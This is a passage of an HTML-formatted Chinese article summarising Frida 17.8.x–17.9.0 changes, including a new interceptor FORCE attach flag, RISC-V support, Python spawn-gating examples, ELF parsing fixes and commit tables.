normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">commit </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">1b908e69</span></code><span leaf="">将frida-helper.dex的使用从非root场景扩展到所有场景，统一了Android helper架构。唯一损失的功能是launch-timeout抑制。</span></p><h3 data-line="559" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Interceptor FORCE标志（17.8.x）</span></h3><p data-line="561" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">frida-gum新增</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">GUM_ATTACH_FLAGS_FORCE</span></code><span leaf="">标志（commit </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">b665c979</span></code><span leaf="">），允许对&#34;太短&#34;的函数强制inline hook：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="563" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 0, 255);"><span leaf="">typedef</span></span><span style="color: rgb(0, 128, 0);"><span style="color: rgb(0, 0, 255);"><span leaf="">enum</span></span><span leaf=""> {</span></span><br/><span leaf="">  GUM_ATTACH_FLAGS_NONE        = </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">,</span><br/><span leaf="">  GUM_ATTACH_FLAGS_UNIGNORABLE = (</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf=""> &lt;&lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">),</span><br/><span leaf="">  GUM_ATTACH_FLAGS_FORCE       = (</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf=""> &lt;&lt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">),  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 新增</span></span><br/><span leaf="">} GumAttachFlags;</span></code></pre><p data-line="571" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">正常情况下，如果目标函数体太短（不够放跳转指令+保存上下文），Interceptor会拒绝attach。启用FORCE标志后，Interceptor会直接覆写函数末尾后面的字节。这在函数之间有对齐padding的情况下是安全的，frida-core的ELF RTLD notifier强制hook（commit </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">35c5d862</span></code><span leaf="">）即使用了此标志。</span></p><h3 data-line="573" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">RISC-V初步支持（17.8.x）</span></h3><p data-line="575" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">commit </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">747a9cd1</span></code><span leaf="">在frida-core中添加了RISC-V架构的初步支持，为后续在RISC-V设备上运行Frida铺平道路。</span></p><h3 data-line="577" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Python绑定改进</span></h3><ul style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><p><span leaf="">新增spawn gating完整示例（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">examples/spawn_gating.py</span></code><span leaf="">），展示了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">enable_spawn_gating()</span></code><span leaf="">→监听</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">spawn-added</span></code><span leaf="">→按条件注入→</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">resume()</span></code><span leaf="">的标准用法</span></p></li><li style=""><p><span leaf="">修复child gating示例中过时的API调用（</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">getExportByName</span></code><span leaf="">→</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">getGlobalExportByName</span></code><span leaf="">，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Memory.readUtf8String(args[0])</span></code><span leaf="">→</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">args[0].readUtf8String()</span></code><span leaf="">）</span></p></li><li style=""><p><span leaf="">类型标注改进：</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">@cancellable</span></code><span leaf="">装饰器改进、flag字面量类型支持</span></p></li></ul><h3 data-line="583" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">frida-gum其他修复</span></h3><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">提交</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">b75ee4a2</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">修复arm64 ucontext记录解析</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bd80b1a6</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">修复ELF32的GNU hash解析</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">e9a92eb4</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">改进ELF文件偏移验证</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ed3388d7</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">验证HASH和GNU_HASH节的边界</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">414c40e9</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Android APK libs在enumerateRanges()中的处理</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">2f898792</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">处理</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">__pthread_start</span></code><span leaf="">符号后缀</span></p></td></tr></tbody></table><h2 data-line="594" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">提交归纳</span></h2><h3 data-line="596" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">frida-core 17.9.0核心提交</span></h3><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">提交</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">分类</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">465698a9</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">新功能</span></strong></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">eBPF spawn gater（NSEcho &amp; oleavr）</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0bee9cba</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">新功能</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Group-stopped PIDs注入支持</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">be239982</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">优化</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">64位设备跳过32位helper</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">f9629316</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">基础设施</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">HostSessionOptions.copy()</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">3df05876</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">新功能</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Device.override_option()方法</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">d2f2c400</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">新功能</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Droidy control-endpoint选项</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">1f77154b</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">新功能</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Fruity control-endpoint选项</span></p></td></tr></tbody></table><h3 data-line="608" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">frida-core 17.8.x周期关键提交</span></h3><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">提交</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">分类</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">3e778a99</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><strong><span 